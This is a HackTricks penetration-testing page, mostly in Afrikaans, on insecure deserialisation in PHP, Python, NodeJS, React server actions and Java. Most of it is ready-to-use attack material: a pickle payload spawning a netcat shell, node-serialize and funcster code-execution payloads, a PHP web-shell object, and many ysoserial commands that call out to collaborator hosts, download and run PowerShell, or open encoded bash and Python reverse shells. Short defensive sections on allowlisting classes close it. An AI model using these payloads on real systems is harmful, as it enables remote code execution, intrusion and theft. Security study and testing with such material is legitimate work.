Deserialisering
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Serialisering verwys na die metode om ân objek om te skakel in ân formaat wat bewaar kan word, met die doel om die objek te stoor of te stuur as deel van ân kommunikasieproses. Hierdie tegniek word gewoonlik gebruik om te verseker dat die objek later hergestel kan word, met sy struktuur en toestand behoue.
Deserialisering, daarenteen, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in ân spesifieke formaat gestruktureer is en dit terug te herbou in ân objek.
Deserialisering kan gevaarlik wees omdat dit moontlik aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer of onverwags gedrag in die toepassing te veroorsaak tydens die objek-herbouproses.
PHP
In PHP word spesifieke magic methods gebruik tydens die serialisering- en deserialiseringprosesse:
__sleep: Aangeroep wanneer ân objek geserialiseer word. Hierdie metode moet ân array teruggee van die name van al die eienskappe van die objek wat geserialiseer moet word. Dit word gewoonlik gebruik om hangende data te skryf of soortgelyke opruimtake uit te voer.__wakeup: Aangeroep wanneer ân objek gedeserialiseer word. Dit word gebruik om enige databasisverbindings wat tydens serialisering verloor is, te herinstel en ander herinitialiseringstake uit te voer.__unserialize: Hierdie metode word aangeroep in plaas van__wakeup(indien dit bestaan) wanneer ân objek gedeserialiseer word. Dit gee meer beheer oor die deserialiseringsproses in vergelyking met__wakeup.__destruct: Hierdie metode word aangeroep wanneer ân objek op die punt staan om vernietig te word of wanneer die script eindig. Dit word tipies gebruik vir opruimtake, soos die sluit van lĂȘerhandvatsels of databasisverbindings.__toString: Hierdie metode laat ân objek toe om as ân string behandel te word. Dit kan gebruik word vir die lees van ân lĂȘer of ander take gebaseer op die funksie-oproepe binne dit, wat effektief ân tekstuele voorstelling van die objek verskaf.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
As jy na die resultate kyk, kan jy sien dat die funksies __wakeup en __destruct aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat in verskeie tutorials jy sal vind dat die __toString funksie aangeroep word wanneer probeer word om ân attribuut te druk, maar blykbaar gebeur dit nie meer nie.
Warning
Die metode
__unserialize(array $data)word aangeroep in plaas van__wakeup()as dit in die klas geĂŻmplementeer is. Dit laat jou toe om die objek te unserialize deur die geserialiseerde data as ân array te verskaf. Jy kan hierdie metode gebruik om properties te unserialize en enige nodige take by deserialisering uit te voer.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Jy kan ân uitgewerkte PHP-voorbeeld hier lees: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf of hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
You could abuse the PHP autoload functionality to load arbitrary php files and more:
PHP - Deserialization + Autoload Classes
Serialisering van Verwysde Waardes
As jy om een of ander rede ân waarde as ân verwysing na ân ander geserialiseerde waarde wil serialiseer, kan jy:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Voorkoming van PHP Object Injection met allowed_classes
[!INFO] Ondersteuning vir die tweede argument van
unserialize()(die$optionsarray) is bygevoeg in PHP 7.0. Op ouer weergawes aanvaar die funksie slegs die geserialiseerde string, wat dit onmoontlik maak om te beperk watter klasse geĂŻnstantieer kan word.
unserialize() sal elke klas wat dit binne die geserialiseerde stroom vind, instansieer tensy anders gespesifiseer. Sedert PHP 7 kan die gedrag beperk word met die allowed_classes opsie:
// NEVER DO THIS â full object instantiation
$object = unserialize($userControlledData);
// SAFER â disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular â only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
As allowed_classes is omitted or the code runs on PHP < 7.0, word die oproep gevaarlik aangesien ân aanvaller ân payload kan opstel wat magic methods soos __wakeup() of __destruct() misbruik om Remote Code Execution (RCE) te bereik.
Werklike voorbeeld: Everest Forms (WordPress) CVE-2025-52709
Die WordPress-plugin Everest Forms †3.2.2 het probeer verdedigend op te tree met ân helper wrapper, maar het die ouer PHP-weergawes vergeet:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP â„ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Op bedieners wat nog steeds PHP †7.0 gebruik het, het hierdie tweede tak gelei tot ân klassieke PHP Object Injection toe ân administrateur ân kwaadwillige vorminskrywing oopgemaak het. ân minimale exploit payload kan so lyk:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Sodra die admin die inskrywing bekyk het, is die objek geĂŻnstantieer en SomeClass::__destruct() is uitgevoer, wat gelei het tot willekeurige kode-uitvoering.
Belangrike punte
- Gee altyd
['allowed_classes' => false](of ân streng witlys) wanneer jyunserialize()aanroep. - Oudit verdedigende wrappers â hulle vergeet dikwels die legacy PHP-takke.
- Opgradeer na PHP â„ 7.x op sigself is nie voldoende nie: die opsie moet steeds eksplisiet voorsien word.
PHPGGC (ysoserial for PHP)
PHPGGC kan jou help om payloads te genereer om PHP deserializations te misbruik.
Neem kennis dat jy in verskeie gevalle nie ân manier sal vind om ân deserialization in die bronkode van die toepassing te misbruik nie, maar jy mag wel die kode van eksterne PHP extensions misbruik.
Kontroleer dus, indien moontlik, die phpinfo() van die bediener en soek op die internet (en selfs na die gadgets van PHPGGC) vir moontlike gadgets wat jy kan misbruik.
phar:// metadata deserialization
As jy ân LFI gevind het wat net die lĂȘer lees en nie die php-kode daarin uitvoer nie, byvoorbeeld deur funksies soos file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()** te gebruik.** Jy kan probeer om ân deserialization te misbruik wat plaasvind wanneer ân lĂȘer gelees word met die phar-protokol.
Vir meer inligting lees die volgende pos:
Python
Pickle
Wanneer die objek ge-unpickle word, sal die funksie ___reduce___ uitgevoer word.
Wanneer dit misbruik word, kan die bediener ân fout teruggee.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Voordat jy die bypass technique nagaan, probeer gebruik print(base64.b64encode(pickle.dumps(P(),2))) om ân objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.
Vir meer inligting oor escaping van pickle jails kyk:
Yaml & jsonpickle
Die volgende bladsy beskryf die tegniek om ân unsafe deserialization in yamlsâ python libraries te abuse en eindig met ân tool wat gebruik kan word om RCE deserialization payloads te genereer vir Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Pythonâs Prototype Pollution)
NodeJS
JS Magic Functions
JS het nie âmagicâ functions soos PHP of Python wat uitgevoer word net by die skepping van ân objek nie. Maar dit het sommige functions wat gereeld gebruik word selfs sonder om hulle direk aan te roep soos toString, valueOf, toJSON.
As jy ân deserialization misbruik kan jy hierdie functions kompromitteer om ander kode uit te voer (potensieel deur prototype pollutions te misbruik) en arbitrĂȘre kode uitvoer wanneer hulle aangeroep word.
Another âmagicâ way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called âthenâ of type function, it will be executed just because itâs returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
As jy meer oor hierdie tegniek wil leer, kyk gerus na die volgende tutorial:
NodeJS - proto & prototype Pollution
node-serialize
Hierdie biblioteek laat toe om funksies te serialiseer. Voorbeeld:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Die geserialiseerde objek sal soos volg lyk:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Jy kan in die voorbeeld sien dat wanneer ân funksie geserialiseer word die _$$ND_FUNC$$_ vlag by die geserialiseerde objek aangeheg word.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
Soos jy in die laaste stukkie kode kan sien, as die vlag gevind word word eval gebruik om die funksie te deserialiseer, so basies word gebruikersinvoer binne die eval-funksie gebruik.
Echter, net deur ân funksie te serialiseer sal dit nie uitgevoer word nie, aangesien dit nodig sou wees dat ân deel van die kode die y.rce in ons voorbeeld aanroep, en dit is hoogs onwaarskynlik.
Nietemin kan jy net die geserialiseerde objek wysig deur ân paar hakies by te voeg sodat die geserialiseerde funksie outomaties uitgevoer word wanneer die objek gedeserialiseer word.
In die volgende stukkie kode let op die laaste hakie en hoe die unserialize funksie die kode outomaties sal uitvoer:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Soos vroeĂ«r aangedui, sal hierdie biblioteek die kode nĂĄ _$$ND_FUNC$$_ haal en dit met eval uitvoer. Daarom, om auto-execute code, kan jy die gedeelte wat die funksie skep en die laaste hakie verwyder en net ân JS oneliner uitvoer soos in die volgende voorbeeld:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Jy kan find here meer inligting vind oor hoe om hierdie kwetsbaarheid te exploit.
funcster
ân Noemenswaardige aspek van funcster is die ontoeganklikheid van standaard ingeboude objekte; hulle val buite die toeganklike omvang. Hierdie beperking verhoed die uitvoering van code wat probeer om metodes op ingeboude objekte aan te roep, en lei tot uitsonderings soos âReferenceError: console is not definedâ wanneer opdragte soos console.log() of require(something) gebruik word.
Ten spyte van hierdie beperking is die herstel van volle toegang tot die globale konteks, insluitend alle standaard ingeboude objekte, moontlik deur ân spesifieke benadering. Deur die globale konteks direk te benut, kan hierdie beperking omseil word. Byvoorbeeld, toegang kan herstel word met die volgende kodefragment:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Vir meer inligting lees hierdie bron.
serialize-javascript
Die serialize-javascript package is uitsluitlik ontwerp vir serialization-doeleindes en het geen ingeboude deserialization-vermoĂ«ns nie. Gebruikers is verantwoordelik om hul eie metode vir deserialization te implementeer. In die amptelike voorbeeld word ân direkte gebruik van eval voorgestel om serialized data te deserialiseer:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
As hierdie funksie gebruik word om objects te deserialize, kan jy dit easily exploit:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Vir meer inligting lees hierdie bron.
Cryo-biblioteek
In die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te misbruik om arbitrĂȘre opdragte uit te voer:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Misbruik (CVE-2025-55182)
React Server Components (RSC) vertrou op react-server-dom-webpack (RSDW) om server action submissions wat as multipart/form-data gestuur word te decodeer. Elke aksie-indiening bevat:
$ACTION_REF_<n>parts wat na die aksie wat aangeroep word verwys.$ACTION_<n>:<m>parts met ân liggaam wat JSON is, byvoorbeeld{"id":"module-path#export","bound":[arg0,arg1,...]}.
In weergawe 19.2.0 vertrou die decodeAction(formData, serverManifest) helper blindelings beide die id string (wat kies watter module-export opgeroep word) en die bound array (die argumente). As ân aanvaller toegang tot die eindpunt kry wat versoeke na decodeAction deurstuur, kan hulle enige uitgevoerde server action met aanvallersbeheerde parameters aanroep selfs sonder ân React front-end (CVE-2025-55182). Die end-tot-end resep is:
- Leer die action identifier. Bundle-uitset, foutspore of leaked manifests openbaar tipies stringe soos
app/server-actions#generateReport. - Herskep die multipart payload. Skep ân
$ACTION_REF_0part en ân$ACTION_0:0JSON-liggaam wat die identifier en arbitrĂȘre argumente dra. - Laat
decodeActiondit dispatch. Die helper los die module uitserverManifestop, importeer die export, en gee ân oproepbare terug wat die server dadelik uitvoer.
Example payload hitting /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Of met curl:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
Die bound array vul direk die server-action parameters. In die kwesbare lab lyk die gadget soos:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
ân Aanvaller het nooit ân regte React client nodig nieâenige HTTP-instrument wat die $ACTION_* multipart-vorm uitstuur, kan direk server actions aanroep en die resulterende JSON-uitset in ân RCE primitive ketting.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. Hierdie uitvoering kan uitgebuit word deur aanvallers wat kwaadwillige payloads saamstel wat hierdie callbacks aktiveer, wat kan lei tot die moontlike uitvoering van skadelike aksies.
Fingerprints
White Box
Om potensiële serialization vulnerabilities in die codebasis te identifiseer, soek na:
- Klasse wat die
Serializableinterface implementeer. - Gebruik van
java.io.ObjectInputStream,readObject,readUnsharefunksies.
Gee ekstra aandag aan:
XMLDecoderwat gebruik word met parameters wat deur eksterne gebruikers gedefinieer word.XStreamsefromXMLmetode, veral as die XStream-weergawe kleiner of gelyk is aan 1.46, aangesien dit vatbaar is vir serialization issues.ObjectInputStreamgekoppel aan diereadObjectmetode.- Implementasie van metodes soos
readObject,readObjectNodData,readResolve, ofreadExternal. ObjectInputStream.readUnshared.- Algemene gebruik van
Serializable.
Black Box
Vir black box-toetsing, kyk vir spesifieke signatures or âMagic Bytesâ wat java serialized objects aandui (wat van ObjectInputStream afkomstig is):
- Hexadecimal pattern:
AC ED 00 05. - Base64 pattern:
rO0. - HTTP response headers met
Content-typegestel opapplication/x-java-serialized-object. - Hexadecimal pattern indicating prior compression:
1F 8B 08 00. - Base64 pattern indicating prior compression:
H4sIA. - Web files with the
.facesextension and thefaces.ViewStateparameter. Die ontdekking van hierdie patrone in ân webtoepassing moet ân ondersoek uitlok soos gedetailleer in die post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Kontroleer of dit kwesbaar is
As jy wil leer hoe ân Java Deserialized exploit werk moet jy kyk na Basic Java Deserialization, Java DNS Deserialization, en CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
Moderne kodebasisse pak soms deserialisering in met java.security.SignedObject en valideer ân signature voordat hulle getObject() aanroep (wat die innerlike object deserialiseer). Dit voorkom arbitraire top-level gadget classes, maar kan steeds uitgebuit word as ân aanvaller ân geldige signature kan bekom (bv. private-key compromise of ân signing oracle). Boonop kan foutbehandelingsvloei sessie-gebonde tokens vir ongeverifieerde gebruikers skep, en sodoende andersins beskermde sinks pre-auth openbaarmaak.
Vir ân konkrete gevallestudie met requests, IoCs, en verhardingsriglyne, sien:
Java Signedobject Gated Deserialization
White Box Test
Jy kan nagaan of enige toepassing met bekende kwesbaarhede geĂŻnstalleer is.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to kontroleer al die biblioteke wat bekend is as kwesbaar en waarvoor Ysoserial kan voorsien ân exploit. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) donât care about the tons of warnings/errors that itâs going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector wonât create an exploit and it may indicate false positives.
Black Box Test
Using the Burp extension gadgetprobe you can identify watter biblioteke beskikbaar is (en selfs die weergawes). Met hierdie inligting kan dit makkelijker wees om ân payload te kies om die kwetsbaarheid uit te buiten.
Read this to learn more about GadgetProbe.
GadgetProbe is gefokus op ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serialization Test
Not all is about checking if any vulnerable library is used by the server. Soms kan jy in staat wees om die data binne die serialized object te verander en sekere kontrole te omseil (miskien gee dit jou admin-privilege binne ân webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Om te weet watter data jy stuur maak dit makliker om dit te wysig en sekere kontrole te omseil.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the âURLDNSâ payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the âURLDNSâ payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Wanneer jy ân payload vir java.lang.Runtime.exec() skep, kan jy nie spesiale karakters soos â>â of â|â gebruik om die uitvoer van ân uitvoering te herlei, â$()â om commands uit te voer, of selfs argumente aan ân command geskei deur spasies te gee (jy kan echo -n "hello world" doen, maar jy kan nie python2 -c 'print "Hello world"' doen nie). Om die payload korrek te enkodeer kan jy use this webpage.
Voel vry om die volgende script te gebruik om all the possible code execution payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Jy kan gebruik https://github.com/pwntester/SerialKillerBypassGadgetCollection saam met ysoserial gebruik om meer exploits te skep. Meer inligting oor hierdie tool in die skyfies van die praatjie waar die tool aangebied is: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec kan gebruik word om payloads te genereer om verskillende Json en Yml serialisasie biblioteke in Java te eksploiteer.
Om die projek te compileer moes ek hierdie afhanklikhede by pom.xml byvoeg:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installeer maven, en kompileer die projek:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Lees meer oor hierdie Java JSON library: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labore
- As jy ân paar ysoserial payloads wil toets kan jy hierdie webapp laat loop: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Waarom
Java gebruik baie serialization vir verskeie doeleindes soos:
- HTTP requests: Serialization word wyd gebruik in die hantering van parameters, ViewState, cookies, ens.
- RMI (Remote Method Invocation): Die Java RMI-protokol, wat heeltemal op serialization steun, is ân hoeksteen vir afstandskommunikasie in Java-toepassings.
- RMI over HTTP: Hierdie metode word algemeen gebruik deur Java-gebaseerde thick client web applications, wat serialization gebruik vir alle objekkommunikasie.
- JMX (Java Management Extensions): JMX gebruik serialization om objekte oor die netwerk te stuur.
- Custom Protocols: In Java is die standaardpraktyk die oordrag van rou Java-objekte, wat in komende exploit-voorbeelde gedemonstreer sal word.
Prevention
Transient objects
A class that implements Serializable can implement as transient any object inside the class that shouldnât be serializable. For example:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Voorkom serialisering van ân klas wat die Serializable moet implementeer
In scenarioâs waar sekere objects must implement the Serializable interface weens die class hierarchy, is daar ân risiko van onbedoelde deserialization. Om dit te voorkom, maak seker dat hierdie objects non-deserializable is deur ân final readObject() metode te definieer wat konsekwent ân exception gooi, soos hieronder getoon:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Verbetering van deserialiseringsekuriteit in Java
Om java.io.ObjectInputStream aan te pas is ân praktiese benadering om deserialiseringsprosesse te beveilig. Hierdie metode is geskik wanneer:
- Die deserialiseringskode is onder jou beheer.
- Die klasse wat vir deserialisering verwag word, is bekend.
Oorskryf die resolveClass() metode om deserialisering slegs tot toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat uitdruklik toegelaat is, soos in die volgende voorbeeld wat deserialisering slegs tot die Bicycle klas beperk:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
